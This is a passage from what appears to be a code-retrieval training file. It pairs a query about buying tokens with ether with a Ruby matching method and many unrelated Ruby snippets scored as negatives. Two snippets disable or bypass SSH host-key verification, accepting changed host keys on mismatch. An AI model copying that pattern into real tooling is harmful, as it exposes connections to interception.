promoted_replication_config[:auto_position] = \"1\"\n else\n promoted_replication_config[:master_log_file] = change_master_options[:log_file]\n promoted_replication_config[:exec_master_log_pos] = change_master_options[:log_pos].to_s\n end\n replicas.each do |r|\n promoted_replication_config.each do |option, value|\n raise \"Unexpected slave status value for #{option} in replica #{r} after promotion\" unless r.slave_status[option] == value\n end\n r.resume_replication unless r.replicating?\n end\n\n # Update the pool\n # Note: if the demoted machine is not available, plugin may need to implement an\n # after_master_promotion! method which handles this case in configuration tracker\n @active_slave_weights.delete promoted # if promoting an active slave, remove it from read pool\n @master = promoted\n @master_uuid = nil # clear any memoized value\n sync_configuration\n Jetpants.topology.write_config\n\n output \"Promotion complete. Pool master is now #{promoted}.\"\n replicas.all? {|r| r.replicating?}\n end",
"def randkey\n timeout_retry(3, 3){\n write \"RANDOMKEY\\r\\n\"\n single_line_reply\n }\n end",
"def respond_with_leaderboard(key = \"leaderboard:1\", order = \"desc\", response = \"top\")\n response = $redis.get(key)\n if response.nil?\n leaders = []\n get_score_leaders({:order => order}).each_with_index do |leader, i|\n user_id = leader[:user_id]\n name = get_slack_name(leader[:user_id])\n score = currency_format(get_user_score(user_id))\n leaders << \"#{i + 1}. #{name}: #{score}\"\n end\n if leaders.size > 0\n response = \"Let's take a look at the #{response} scores:\\n\\n#{leaders.join(\"\\n\")}\"\n else\n response = \"There are no scores yet!\"\n end\n $redis.setex(key, 60*5, response)\n end\n response\nend",
"def max_heap_insert(key)\n\t\t@heap.push(-1)\n\t\theap_incease_key(@heap.length-1, key)\n\tend",
"def set_key\n last_key = User.find_by_sql('select max(userId) as maxid from user')[0].maxid\n self.userId = last_key.to_i + 1\n end",
"def rekey_as_needed; end",
"def victory?\n if @morpion[1] == @morpion[2] && @morpion[1] == @morpion[3] && @morpion[1] != @morpion[0]\n if @morpion[1] == \"X\"\n puts \"Fécilication #{player1.name}, tu as gagné\"\n else\n puts \"Fécilication #{player2.name}, tu as gagné\"\n end\n return true\n elsif @morpion[4] == @morpion[5] && @morpion[4] == @morpion[6] && @morpion[4] != @morpion[0]\n if @morpion[4] == \"X\"\n puts \"Fécilication #{player1.name}, tu as gagné\"\n else\n puts \"Fécilication #{player2.name}, tu as gagné\"\n end\n return true\n elsif @morpion[7] == @morpion[8] && @morpion[7] == @morpion[9] && @morpion[7] != @morpion[0]\n if @morpion[7] == \"X\"\n puts \"Fécilication #{player1.name}, tu as gagné\"\n exit\n else\n puts \"Fécilication #{player2.name}, tu as gagné\"\n exit\n end\n return true\n elsif @morpion[1] == @morpion[5] && @morpion[1] == @morpion[9] && @morpion[1] != @morpion[0]\n if @morpion[1] == \"X\"\n puts \"Fécilication #{player1.name}, tu as gagné\"\n exit\n else\n puts \"Fécilication #{player2.name}, tu as gagné\"\n exit\n end\n return true\n elsif @morpion[3] == @morpion[5] && @morpion[3] == @morpion[7] && @morpion[3] != @morpion[0]\n if @morpion[3] == \"X\"\n puts \"Fécilication #{player1.name}, tu as gagné\"\n exit\n else\n puts \"Fécilication #{player2.name}, tu as gagné\"\n exit\n end\n return true\n elsif @morpion[1] == @morpion[4] && @morpion[1] == @morpion[7] && @morpion[1] != @morpion[0]\n if @morpion[1] == \"X\"\n puts \"Fécilication #{player1.name}, tu as gagné\"\n exit\n else\n puts \"Fécilication #{player2.name}, tu as gagné\"\n exit\n end\n return true\n elsif @morpion[2] == @morpion[5] && @morpion[2] == @morpion[8] && @morpion[2] != @morpion[0]\n if @morpion[2] == \"X\"\n puts \"Fécilication #{player1.name}, tu as gagné\"\n exit\n else\n puts \"Fécilication #{player2.name}, tu as gagné\"\n exit\n end\n return true\n elsif @morpion[3] == @morpion[6] && @morpion[3] == @morpion[9] && @morpion[3] != @morpion[0]\n if @morpion[3] == \"X\"\n puts \"Fécilication #{player1.name}, tu as gagné\"\n exit\n else\n puts \"Fécilication #{player2.name}, tu as gagné\"\n exit\n end\n return true\n end\n end",
"def set_key\n last_key = Issue.find_by_sql('select max(issueId) as maxid from issue')[0].maxid\n self.issueId = last_key.to_i + 1\n end",
"def find_nearest_node(key) #:nodoc:\n x = node_first\n level = node_level(x)\n while level > 0\n level -= 1\n xnext = node_next(x, level)\n while node_compare(xnext, key) <= 0\n x = xnext\n xnext = node_next(x, level)\n end\n end\n x\n end",
"def victory\n @current_player = @players[\"plyr2\"]\n unless @winner == false\n @over = true\n puts \" \"\n puts \" Code-breaker #{@current_player} wins!!\"\n puts \" \"\n end\n end",
"def pop_head(key)\n timeout_retry(3, 3){\n write \"LPOP #{key}\\r\\n\"\n bulk_reply\n }\n end",
"def unique_key\n \"redis:bitops:#{SecureRandom.hex(20)}\"\n end",
"def control_server(hostname,username,password,command)\n if $verbose_mode == true\n puts \"vSphere Server: \"+hostname\n puts \"vSphere Command: \"+command\n end\n begin\n Net::SSH.start(hostname, username, :password => password, :verify_host_key => false) do |ssh_session|\n (ssh_session,output) = ssh_session_exec(ssh_session,command)\n return output\n end\n rescue Net::SSH::HostKeyMismatch => host\n puts \"Existing key found for \"+hostname\n if doaction != \"y\"\n while doaction !~ /y|n/\n print \"Update host key [y,n]: \"\n doaction = gets.chomp\n end\n end\n if doaction == \"y\"\n puts \"Updating host key for \"+hostname\n host.remember_host!\n else\n exit\n end\n retry\n end\n return output\nend",
"def k8s_node(key)\n k8s_node_sub(@_k8s_node, key, key)\n end",
"def find_nearest_node(key) #:nodoc:\n x = anchor\n level = node_level(x)\n while level > 0\n level -= 1\n xnext = node_next(x, level)\n while node_compare(xnext, key) <= 0\n x = xnext\n xnext = node_next(x, level)\n end\n end\n x\n end",
"def heapify(key = 0)\n # Assume left and right children follow heap property\n value = get(key)\n return if value == nil\n\n larger_child_key = larger_child(key)\n larger_value = get(larger_child_key)\n\n if larger_value != nil && larger_value > value\n @data[key] = @data[larger_child_key]\n @data[larger_child_key] = key\n heapify(larger_child_key)\n end\n end",
"def next_replica\n return @master.data_nodes[@master.data_nodes.keys[(rand * @master.data_nodes.size).floor]]\n end",
"def get_max_key()\n \n end",
"def exchange_keys\n debug { \"exchanging keys\" }\n\n algorithm = Kex::MAP[kex].new(self, session,\n :client_version_string => Net::SSH::Transport::ServerVersion::PROTO_VERSION,\n :server_version_string => session.server_version.version,\n :server_algorithm_packet => @server_packet,\n :client_algorithm_packet => @client_packet,\n :need_bytes => kex_byte_requirement,\n :logger => logger)\n result = algorithm.exchange_keys\n\t\t \n\t\t #added by jonas\n\t\t result[:type] = host_key()\n\t\t @key_data = result\n\n secret = result[:shared_secret].to_ssh\n hash = result[:session_id]\n digester = result[:hashing_algorithm]\n\n @session_id ||= hash\n\n key = Proc.new { |salt| digester.digest(secret + hash + salt + @session_id) }\n \n iv_client = key[\"A\"]\n iv_server = key[\"B\"]\n key_client = key[\"C\"]\n key_server = key[\"D\"]\n mac_key_client = key[\"E\"]\n mac_key_server = key[\"F\"]\n\n parameters = { :iv => iv_client, :key => key_client, :shared => secret,\n :hash => hash, :digester => digester }\n \n cipher_client = CipherFactory.get(encryption_client, parameters.merge(:encrypt => true))\n cipher_server = CipherFactory.get(encryption_server, parameters.merge(:iv => iv_server, :key => key_server, :decrypt => true))\n\n mac_client = HMAC.get(hmac_client, mac_key_client)\n mac_server = HMAC.get(hmac_server, mac_key_server)\n\n session.configure_client :cipher => cipher_client, :hmac => mac_client,\n :compression => normalize_compression_name(compression_client),\n :compression_level => options[:compression_level],\n :rekey_limit => options[:rekey_limit],\n :max_packets => options[:rekey_packet_limit],\n :max_blocks => options[:rekey_blocks_limit]\n\n session.configure_server :cipher => cipher_server, :hmac => mac_server,\n :compression => normalize_compression_name(compression_server),\n :rekey_limit => options[:rekey_limit],\n :max_packets => options[:rekey_packet_limit],\n :max_blocks => options[:rekey_blocks_limit]\n\n @initialized = true\n end",
"def intro_computer_is_master\n\t\tputs \n\t\tputs \"---------------------------------------\"\n\t\tputs \"The computer has made a secret code using the numbers 1-6\"\n\t\tputs \"in four spots like this: \\\"5136\\\"\"\n\t\tputs \"Your task is to guess the order!\"\n\t\tputs \"You have 12 tries to get it right.\"\n\t\tputs \n\t\tputs \"You will be told how many numbers are in the right spot\"\n\t\tputs \"Like this: \\\"2 right\\\"\"\n\t\tputs \"And how many numbers are in the secret code, but need to be moved\"\n\t\tputs \"Like this: \\\"1 close\\\"\"\n\t\tputs\n\t\tputs \"So if the secret code is 1231 and you enter 2136, the output will be\"\n\t\tputs \"\\\"1 right, 2 close\\\" since the 3 is right and the 2 and 1 need to be moved\" \n\t\tputs \"---------------------------------------\"\n\t\t# Set computer to mastermind\n\t\t@master = \"comp\"\n\t\t# Set up secret code generated by computer with 4 random numbers b/w 1 and 6\n\t\t4.times { @answer << rand(6) + 1 }\n\t\t# Let user guess\n\t\tguess_again\n\tend",
"def grand_winner?(wins)\n wins.key(5)\nend",
"def insert_help(key,value)\n val=[key,value]\n if empty?\n Kickup.new(val)\n elsif @val[0] == key\n Node2.new(val,@left,@right)\n elsif @val[0] > key\n help_two(@left,key,value,-1)\n else\n help_two(@right,key,value,0)\n end\n end",
"def give_right_to_vote( to_voter )\r\n assert msg.sender == @chairperson && @voters[to_voter].voted? == false\r\n @voters[to_voter].weight = 1\r\nend",
"def check_key3\n while @key3 == @key1 || @key3 == @key2\n @key3 = 1 + rand(6)\n end\n end",
"def redis_key(str)\n \"leader_board:#{self.id}:#{str}\"\n end",
"def common_start()\n\n # We are not the leader or we have not received our ID yet\n puts \"#{MY_IP} is not the leader\"\n \n if @leader.id == -1\n \n # If we have not received our ID, let's assume we will be the leader\n @leader.set_id(0)\n @leader.set_leader(0)\n \n puts \"#{MY_IP} will be the leader\"\n \n # Create your ssh key\n CloudSSH.generate_ssh_key()\n \n else\n \n # If we have received our ID, try to become leader\n puts \"Trying to become leader...\"\n \n # Get all machines' IDs\n mcc = MCollectiveLeaderClient.new(\"leader\")\n ids = mcc.ask_id()\n \n # See if some other machine is leader\n exists_leader = false\n ids.each do |id|\n if id < @leader.id\n exists_leader = true \n break\n end\n end\n \n # If there is no leader, we will be the new leader\n if !exists_leader\n mcc.new_leader(@leader.id.to_s())\n puts \"...#{MY_IP} will be leader\"\n \n # Create your ssh key\n CloudSSH.generate_ssh_key()\n else\n puts \"...Some other machine is/should be leader\"\n end\n mcc.disconnect\n \n return\n end\n\n end",
"def migrate_key(node, key, options)\n begin\n if Redis::VERSION > '3.0.4'\n node.migrate(key, options)\n else\n node.migrate([options[:host], options[:port], key, options[:db], options[:timeout]])\n end\n rescue Redis::CommandError => e\n if e.message =~ TARGET_KEY_BUSY_REGEX\n # TODO check the value is correct, and delete the key from the old host\n # This might be better to be done by humans\n raise \"key #{key}: Target key busy!\"\n else\n raise e\n end\n end\n end",
"def resident_key=(_arg0); end",
"def get_the_small_value(hash_of_crypto)\n small_value = hash_of_crypto.values.sort[0]\n winner = hash_of_crypto.select { |key, value| value == small_value}\n puts \"La ou les crypto qui ont la valeur la plus petite sont :\"\n if winner.length == 1\n puts \"#{winner.keys[0]} qui a la valeur #{winner.values[0]}\"\n else \n for i in 0...winner.length\n puts \"#{winner.keys[i]} qui a la valeur #{winner.values[i]}\"\n end\n end\nend",
"def walk_towards_key(key)\n stack = []\n\n # Start with root node\n in_node = root\n node_id = NodeID.new\n\n # Iterate until node is no longer inner\n while in_node.inner?\n stack.push [in_node, node_id]\n\n return nil, stack if v2? && in_node.common_prefix?(key)\n\n # Select tree branch which has key\n # we are looking for, ensure it is not empty\n branch = node_id.select_branch(key)\n return nil, stack if in_node.empty_branch?(branch)\n\n # Descend to branch node\n in_node = descend_throw in_node, branch\n if v2?\n if in_node.inner?\n node_id = NodeID.new :depth => in_node.depth,\n :key => in_node.common\n else\n node_id = NodeID.new :depth => 64,\n :key => in_node.key\n end\n\n else\n # Get ID of branch node\n node_id = node_id.child_node_id branch\n end\n end\n\n # Push final node (assumably corresponding to key)\n stack.push [in_node, node_id]\n\n # Return final node (corresponding to key) and stack\n return in_node, stack\n end",
"def edgeu_network(cmd)\n $lock.synchronize{\n $network.update_cost($hostname, cmd[0], cmd[1].to_i,cmd[2].to_i)\n \n if $rt.has_key? cmd[0]\n $rt[cmd[0]][:cost] = cmd[1].to_i\n end\n }\nend",
"def pop\n conn.rpop key\n end",
"def idle_key\n return data_battler.dead_key if !@immortal && dead? && actor? \n return state_sequence if state_sequence\n return data_battler.critical_key if critical? && \n !data_battler.critical_key.empty?\n return data_battler.idle_key\n end",
"def heap_incease_key(i, key)\n\t\tif @heap.length <= i\n\t\t\treturn nil\n\t\tend \n\t\t@heap[i] = key\n\t\twhile i > 0 and parent(i) < @heap[i]\n\t\t\ttemp = @heap[i]\n\t\t\t@heap[i] = parent(i)\n\t\t\t@heap[parent_index(i)] = temp\n\t\t\ti = parent_index(i)\n\t\tend\n\t\t@heap\n\tend",
"def find_canididate_insertion_node(current, key)\n if current[:key_length].nil?\n new_node = insert_node(current, key)\n current[:key_length] = key.length\n return new_node, \"\"\n end\n\n # check if we have an existing shared prefix already\n current_key = key[0...current[:key_length]]\n\n # look for an existing key path\n if current[:nodes].has_key?(current_key)\n return current[:nodes][current_key], key[current_key.length..-1]\n end\n\n # search for a shared prefix, and split all the nodes if necessary\n current[:nodes].keys.each do |prefix|\n common_prefix = shared_prefix(key, prefix)\n next unless common_prefix\n\n new_key_length = common_prefix.length\n\n split_nodes(current, new_key_length)\n return current[:nodes][common_prefix], key[new_key_length..-1]\n end\n\n # potentially split all other keys\n if current_key.length < current[:key_length]\n split_nodes(current, current_key.length)\n end\n\n new_node = insert_node(current, current_key)\n return new_node, key[current_key.length..-1]\n end",
"def confirm_newkeys; end",
"def hof(m, params)\n fool = m.sourcenick\n tmpKey = params[:key].to_s\n targetKey = tmpKey.to_sym\n m.reply(\"Checking out the #{tmpKey} HoF...\")\n tmp = @registry.to_hash\n tmp.delete(\"totals\")\n sorted = tmp.sort { |a,b| b[1][targetKey] <=> a[1][targetKey] }\n\n winnersLeft = 5\n\n winners = []\n sorted.each do |player|\n playerName = player[0].split(\" \")[1]\n if player[0] == \"totals\" or playerName == \"\"\n next\n end\n winners << \"#{playerName} has #{player[1][targetKey]}\"\n winnersLeft -= 1\n if winnersLeft == 0\n break\n end\n end\n m.reply(winners.join(\" | \"))\n end",
"def rekey_as_needed\n return if algorithms.pending?\n socket.if_needs_rekey? { rekey! }\n end",
"def vote\n\t\trandomPlayer\n\tend",
"def [](key)\n\t\tcdat = gen_child_data(key)\n\t\tBLEU.new(nil, cdat)\n\tend",
"def keyGenerator()\n key = rand(1 .. 26) #random key generation\n puts \"Random key generated for shifting is: #{key}\"\n return key \nend",
"def key_worker_heartbeats\n key(\"worker_heartbeats\")\n end",
"def zcard(key); end",
"def zcard(key); end",
"def do_action(key)\n\t\t@mutex.synchronize do\n\t\t\tcase key\n\t\t\t# Volume Control\n\t\t\twhen 'mute'\n\t\t\t\tvm = get_vol\n\t\t\t\tif vm[:mute]\n\t\t\t\t\tsystem('amixer sset Master unmute &>/dev/null')\n\t\t\t\telse\n\t\t\t\t\tsystem('amixer sset Master mute &>/dev/null')\n\t\t\t\tend\n\t\t\t\tshow_vol\n\t\t\twhen 'vol+'\n\t\t\t\tsystem(\"amixer sset Master 1+ &>/dev/null\")\n\t\t\t\tshow_vol\n\t\t\twhen 'vol-'\n\t\t\t\tsystem(\"amixer sset Master 1- &>/dev/null\")\n\t\t\t\tshow_vol\n\t\t\t# Media Player control\n\t\t\twhen 'play-pause', 'play', 'pause'\n\t\t\t\tcase @media_mode\n\t\t\t\twhen 'mpd'\n\t\t\t\t\t@mpd.connect unless @mpd.connected?\n\t\t\t\t\tunless @mpd.playing?\n\t\t\t\t\t\t@mpd.play\n\t\t\t\t\telse\n\t\t\t\t\t\t@mpd.pause=true\n\t\t\t\t\tend\n\t\t\t\t\tshow_mpd\n\t\t\t\twhen 'lastfm'\n\t\t\t\t\ti=send_lastfm(\"info %u\")\n\t\t\t\t\tif i.nil?\n\t\t\t\t\t\tlast_track=\"\"\n\t\t\t\t\t\tFile.open(\"#{ENV['HOME']}/.shell-fm/radio-history\") \\\n\t\t\t\t\t\t\t{ |f| last_track=f.to_a[-1] }\n\t\t\t\t\t\tsend_lastfm(\"play lastfm://#{last_track}\")\n\t\t\t\t\t\t@statusosd.display_message(0,\n\t\t\t\t\t\t\t\"Playing last played track...\")\n\t\t\t\t\t\t@statusosd.timeout=5\n\t\t\t\t\telse\n\t\t\t\t\t\tsend_lastfm(\"pause\")\n\t\t\t\t\t\t@statusosd.display_message(0,\n\t\t\t\t\t\t\t\"Pausing/resuming lastfm...\")\n\t\t\t\t\t\t@statusosd.timeout=5\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\twhen 'rec', 'favorite'\n\t\t\t\tcase @media_mode\n\t\t\t\twhen 'lastfm'\n\t\t\t\t\tsend_lastfm(\"love\")\n\t\t\t\t\t@statusosd.display_message(0,\"Current lastfm track loved.\")\n\t\t\t\t\t@statusosd.timeout=5\n\t\t\t\tend\n\t\t\twhen 'prev'\n\t\t\t\tcase @media_mode\n\t\t\t\twhen 'mpd'\n\t\t\t\t\t@mpd.connect unless @mpd.connected?\n\t\t\t\t\t@mpd.previous\n\t\t\t\t\tshow_mpd\n\t\t\t\twhen 'lastfm'\n\t\t\t\tend\n\t\t\twhen 'next'\n\t\t\t\tcase @media_mode\n\t\t\t\twhen 'mpd'\n\t\t\t\t\t@mpd.connect unless @mpd.connected?\n\t\t\t\t\t@mpd.next\n\t\t\t\t\tshow_mpd\n\t\t\t\twhen 'lastfm'\n\t\t\t\t\tsend_lastfm \"skip\"\n\t\t\t\t\t@statusosd.display_message(0,\"Skipping current lastfm track...\")\n\t\t\t\t\t@statusosd.timeout=5\n\t\t\t\tend\n\t\t\twhen 'stop-eject', 'stop'\n\t\t\t\tcase @media_mode\n\t\t\t\twhen 'mpd'\n\t\t\t\t\t@mpd.connect unless @mpd.connected?\n\t\t\t\t\t@mpd.stop\n\t\t\t\t\tshow_mpd\n\t\t\t\twhen 'lastfm'\n\t\t\t\t\tsend_lastfm \"stop\"\n\t\t\t\t\t@statusosd.display_message(0,\"Stopping lastfm play...\")\n\t\t\t\t\t@statusosd.timeout=5\n\t\t\t\tend\n\t\t\t# Misc\n\t\t\twhen 'power'\n\t\t\t\tIO::popen(\"xset -q\") do |xset|\n\t\t\t\t\txset.read.scan(/Monitor is (On|Off)/) do |mon_on_off|\n\t\t\t\t\t\tif 'Off' == mon_on_off.to_s\n\t\t\t\t\t\t\tsystem(\"xset dpms force on &>/dev/null\")\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tsystem(\"xset dpms force off &>/dev/null\")\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\twhen 'display'\n\t\t\t\treturn if @media_mode == 'lirc'\n\t\t\t\tshow_vol\n\t\t\t\t@statusosd.display_message(0,\"Current Time: #{`date`.chomp}\")\n\t\t\t\t@statusosd.timeout=5\n\t\t\t\tcase @media_mode\n\t\t\t\twhen 'mpd'\n\t\t\t\t\tshow_mpd\n\t\t\t\twhen 'lastfm'\n\t\t\t\t\tshow_lastfm\n\t\t\t\tend\n\t\t\twhen 'options', 'mode'\n\t\t\t\tmode_index = $media_modes.index(@media_mode)+1\n\t\t\t\tif mode_index >= $media_modes.size\n\t\t\t\t\tmode_index=0\n\t\t\t\tend\n\t\t\t\t@media_mode=$media_modes[mode_index]\n\t\t\t\t@statusosd.display_message(0,\"Media mode now: #@media_mode\")\n\t\t\t\t@statusosd.timeout=5\n\t\t\telse\n\t\t\t\tputs \"!!! Unknown action: '#{key}'\"\n\t\t\tend\n\t\tend\n\tend",
"def node(keystr)\n return nil if @ring.empty?\n key = hash(keystr)\n @nodesort.length.times do |i|\n node = @nodesort[i]\n return @ring[node] if key <= node\n end\n @ring[ @nodesort[0] ]\n end",
"def remember_new_host_key!\n run \"true\"\n rescue Net::SSH::HostKeyMismatch => e\n puts \"remembering new key: #{e.fingerprint}\"\n e.remember_host!\n end",
"def mark_key\n return nil if SCORE.key.nil? || SCORE.key == \"C\"\n data_key = LINote::TONALITES[SCORE.key]\n \"\\t\\\\key #{data_key['llp']} \\\\major\"\n end",
"def victory\n @wins += 1\n end",
"def right_key\n @choice = @choice < @max_level ? @choice + 1 : @max_level\n @choice_sound.play(1, 0.5, false)\n end",
"def scard(key)\n node_for(key).scard(key)\n end",
"def derived_receive_keys\n (receive_depth + 1).times.map{|i|derive_key(0,i)}\n end",
"def calculate_random_partitioner_token(key)\n number = Digest::MD5.hexdigest(key).to_i(16)\n\n if number >= (2**127)\n # perform two's complement, basically this takes the absolute value of the number as\n # if it were a 128-bit signed number. Equivalent to Java BigInteger.abs() operation.\n result = (number ^ (2**128)-1) + 1\n else\n # we're good\n result = number\n end\n\n result\n end",
"def insert(key, value, __level = nil)\n @mutex.synchronize do\n newlevel = __level || random_level\n x = node_first\n level = node_level(x)\n update = Array.new(level)\n x = find_with_update(x, level, key, update)\n \n # rewrite existing key\n \t if node_compare(x, key) == 0\n \t node_set_value!(x, value)\n \t # insert in a middle\n \t else\n \t level = newlevel\n \t newx = new_node(newlevel, key, value)\n \t while level > 0\n \t level -= 1\n \t node_insert_after!(newx, update[level], level)\n end\n \t end\n end\n \tself\n \tend",
"def key\n # The counter is always 1 ahead.\n @counter - 1\n end",
"def delete(key)\n @mutex.synchronize do\n x = anchor\n level = node_level(x)\n update = Array.new(level)\n x = find_with_update(x, level, key, update)\n \n # remove existing key\n \t if node_compare(x, key) == 0\n \t level = node_level(x)\n \t while level > 0\n \t level -= 1\n \t node_delete_after!(x, update[level], level)\n end\n \t end\n end\n \tself\n \tend",
"def require_master_key=(_arg0); end",
"def require_master_key=(_arg0); end",
"def key_master_ready?\n # the API handler has everything it needs ?\n unless @key_master.got_keys?\n # a quickie :back mechanism\n session[:back] = request.url\n # go get what you need buddy !\n redirect_to @key_master.key_board\n end\n end",
"def help_two(tree,key,value,compare)\n if tree == nil\n tree_ = Kickup.new([key,value])\n else\n tree_ = tree.insert_help(key,value)\n end\n if tree_.kick?\n if compare==-1\n Node3.new(tree_.val,@val,tree_.left,tree_.right,@right)\n else\n Node3.new(@val,tree_.val,@left,tree_.left,tree_.right)\n end\n else\n replace(tree_,compare)\n end\n end",
"def retrieve(key); @amq.queue(key); end",
"def winner\n @best_hand = {}\n @eg_users.each do |user|\n @usr = user[0]\n @best_hand[@usr] = []\n cards = []\n cards = Array.new(@communal_cards)\n cards << user[1]\n cards << user[2]\n calculate_hand cards\n end\n best_hnd_key = determine_winner\n end"
] |
[
"0.55812454",
"0.5436373",
"0.53083295",
"0.5308235",
"0.5295639",
"0.52043873",
"0.5133733",
"0.5088186",
"0.50850445",
"0.50462794",
"0.504278",
"0.5034225",
"0.5011499",
"0.49593276",
"0.493974",
"0.493974",
"0.49277312",
"0.48786247",
"0.48714232",
"0.48714232",
"0.486589",
"0.48644173",
"0.48400015",
"0.48346168",
"0.48346168",
"0.4827051",
"0.4824508",
"0.48126203",
"0.48056185",
"0.47970116",
"0.47887686",
"0.47867015",
"0.4783116",
"0.47789085",
"0.4742293",
"0.4738859",
"0.47340736",
"0.47307745",
"0.47278187",
"0.47254124",
"0.4716259",
"0.47127712",
"0.47100276",
"0.47022673",
"0.46980807",
"0.46975124",
"0.4693176",
"0.46772742",
"0.4676342",
"0.46749747",
"0.46637568",
"0.4663364",
"0.464922",
"0.46486214",
"0.4635224",
"0.46349862",
"0.4630692",
"0.46250713",
"0.4612572",
"0.46110073",
"0.4606403",
"0.46040675",
"0.4595578",
"0.45951644",
"0.45943636",
"0.45905426",
"0.45886198",
"0.45813432",
"0.457779",
"0.45755148",
"0.45745265",
"0.457446",
"0.45741305",
"0.45592633",
"0.45491776",
"0.4541645",
"0.45363835",
"0.45361194",
"0.4525507",
"0.45242858",
"0.45241228",
"0.45241228",
"0.45225486",
"0.45221305",
"0.45218837",
"0.45183283",
"0.45137",
"0.45122173",
"0.4510254",
"0.45089114",
"0.45026517",
"0.45018902",
"0.45018247",
"0.44964895",
"0.44908795",
"0.44908795",
"0.44888076",
"0.44813383",
"0.44797227",
"0.447816"
] |
0.52458435
|
5
|
Counterparty pays `amount` eth for some tokens
|
def buy(amount)
ether = amount.to_f
@ether_reserve += ether
new_token_reserve = @konst / @ether_reserve
tokens_bought = @token_reserve - new_token_reserve
price = sprintf("%0.4f", ether / tokens_bought)
log "You get #{tokens_bought} tokens for #{ether} ether, price #{price}" # this is where we would transfer tokens to the buyer
@token_reserve = new_token_reserve
output
return tokens_bought
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def activemerchant_amount\n (amount * 100).to_i\n end",
"def buy(counterparty, amount)\n ether = amount.to_f\n tokens_bought, @ether_reserve, @token_reserve = trade(ether, @ether_reserve, @token_reserve)\n price = sprintf(\"%0.4f\", ether / tokens_bought)\n log \"#{counterparty.name} gets #{tokens_bought} tokens for #{ether} ether, price #{price}\"\n counterparty.ether -= ether\n counterparty.tokens += tokens_bought\n output\n return tokens_bought\n end",
"def ot_voucher_amount\n end",
"def give_coins(token, amount)\n raise 'Only Game or action resolvers should call this method' if token != @action_token\n @coins += amount\n end",
"def amount\n params['amount_net']\n end",
"def amount; end",
"def charged_fee(amount)\n (amount * merchant.fee)\n end",
"def amount\n params['amount']\n end",
"def send_money(amount)\n fail unless amount >= 0\n self.credits += amount\n end",
"def sell(counterparty, amount)\n tokens = amount.to_f\n ether, @token_reserve, @ether_reserve = trade(tokens, @token_reserve, @ether_reserve)\n price = sprintf(\"%0.4f\", ether / tokens)\n log \"#{counterparty.name} gets #{ether} ether for #{tokens} tokens, price #{price}\" # This is where we send ETH to the seller\n counterparty.ether += ether\n counterparty.tokens -= tokens\n output\n return ether\n end",
"def amount\n params[\"Amount\"]\n end",
"def payment\n number_with_precision(amount, :precision => 2 )\n end",
"def transaction_amount(currency_and_amount)\n currency = parse(currency_and_amount).first\n if currency == 'USD'\n amount = parse(currency_and_amount).last.to_f\n else\n amount = currency.to_f unless amount == 0.0\n end\n# self.amount = amount \n end",
"def amount\n @amount ||= begin\n amount = Txaction.calculate_amount(params[:amount]).to_d.abs\n amount = -amount if params[:amount_type] == 'spent'\n amount\n end\n end",
"def tc_amount(accounting_element)\n\t\t\t\t payment_form = accounting_element[:payment_info][:payment][:form]\n\t\t\t\t if payment_form == \"CC\" then\n\t\t\t\t return (ticket_base_fare(accounting_element).to_f + ticket_tax(accounting_element).to_f).round(2)\n\t\t\t\t else\n return 0\n\t\t\t\t end\n\t\t\t end",
"def amount\n v = state[:amount] and BigDecimal(v.to_s)\n end",
"def claim_payment_amount(*options)\n @eob.amount('total_amount_paid_for_claim')\n end",
"def amount\n @amount\n end",
"def get_amount\n\t\t@amount\n\tend",
"def amount\n result = 0\n if gateway_mode === :test\n result = 1000\n else\n result = (@order.price * 100)\n end\n result.to_i\n end",
"def payment_amount\n convert_email_to_user && save\n return override_cost if override_cost.present?\n\n event&.get_cost(member: user&.present?)\n end",
"def money\n end",
"def sip_amount\n 5\n end",
"def sip_amount\n 5\n end",
"def sip_amount\n 5\n end",
"def sip_amount\n 5\n end",
"def amount_i\n @amount\n end",
"def amount_charged\n\t\t@amount = 6000\n\tend",
"def add_trivia(amount)\n if amount < 10\n @credits = @credits + amount * 2\n else\n @credits = @credits + 20\n end\n end",
"def sell(amount)\n tokens_sold = amount.to_f\n\n @token_reserve += tokens_sold\n new_ether_reserve = @konst / @token_reserve\n\n ether = @ether_reserve - new_ether_reserve\n price = sprintf(\"%0.4f\", ether / tokens_sold)\n log \"You get #{ether} ether for #{tokens_sold} tokens, price #{price}\" # This is where we send ETH to the seller\n\n @ether_reserve = new_ether_reserve\n output\n\n return ether\n end",
"def money; end",
"def payment\n loan_amount / 12\n end",
"def merchant_amount_usd\n payload[:merchant_amount].to_d\n end",
"def amount\n\t\t\t\t@amount\n\t\t\tend",
"def creditCoins(amount)\r\n @betESSCoins += amount\r\n end",
"def credit_amount\n sum( credits )\n end",
"def value\r\r\n @currency[:amount]\r\r\n end",
"def update_amount(txaction)\n if amount_given? && txaction.manual_txaction?\n validate_amount\n txaction.update_attributes!(:amount => amount)\n end\n end",
"def amount\n user.company.point_values[:received_approval_value]\n end",
"def withdraw(amount)\n amount += TRANSACTION_FEE\n super(amount)\n end",
"def withdraw(amount)\n amount += TRANSACTION_FEE\n super(amount)\n end",
"def customer_account_amount\n token = request.headers[\"HTTP_X_API_POP_KEY\"]\n puts request.headers[\"HTTP_X_API_POP_KEY\"]\n\n if Customer.exists?(authentication_token: token)\n @customer = Customer.find_by_authentication_token(token)\n if @customer.account.present?\n # customer have an account\n render json: {\n status: true,\n message: @customer.account.amount.round(2)\n }\n else\n render json: {\n status: false,\n message: \"Account not activated\"\n }\n end\n else\n render json: {\n status: false,\n message: \"Unknow user\"\n }\n end\n end",
"def payment_amount\n params['asking_price'] = params['asking_price'].to_f\n params['down_payment'] = params['down_payment'].to_f\n params['amortization_period'] = params['amortization_period'].to_f\n\n insurance_cost = calculate_insurance_amount(params)\n payment_amount = calculate_payment_amount(params, insurance_cost, @@interest_rate)\n json_response(amount: payment_amount)\n end",
"def add_money\n @total += fee\n end",
"def add_amount(amount)\n @balance += amount\n end",
"def amount_payment_outstanding\n capital_required - amount_payment_collected\n end",
"def amount\n price\n end",
"def get_amount(*params); raise('Stub or mock required.') end",
"def outstanding_payment_amount\n (total - amount_paid).round(2)\n end",
"def total\n (amount + fee) if amount\n end",
"def amount\n difference\n end",
"def original\n original_amount\n end",
"def money\n\t\tif @wallet.neg?\n\t\t\t@in_debt = true\n\t\tend\n\t\treturn @wallet.amount\n\tend",
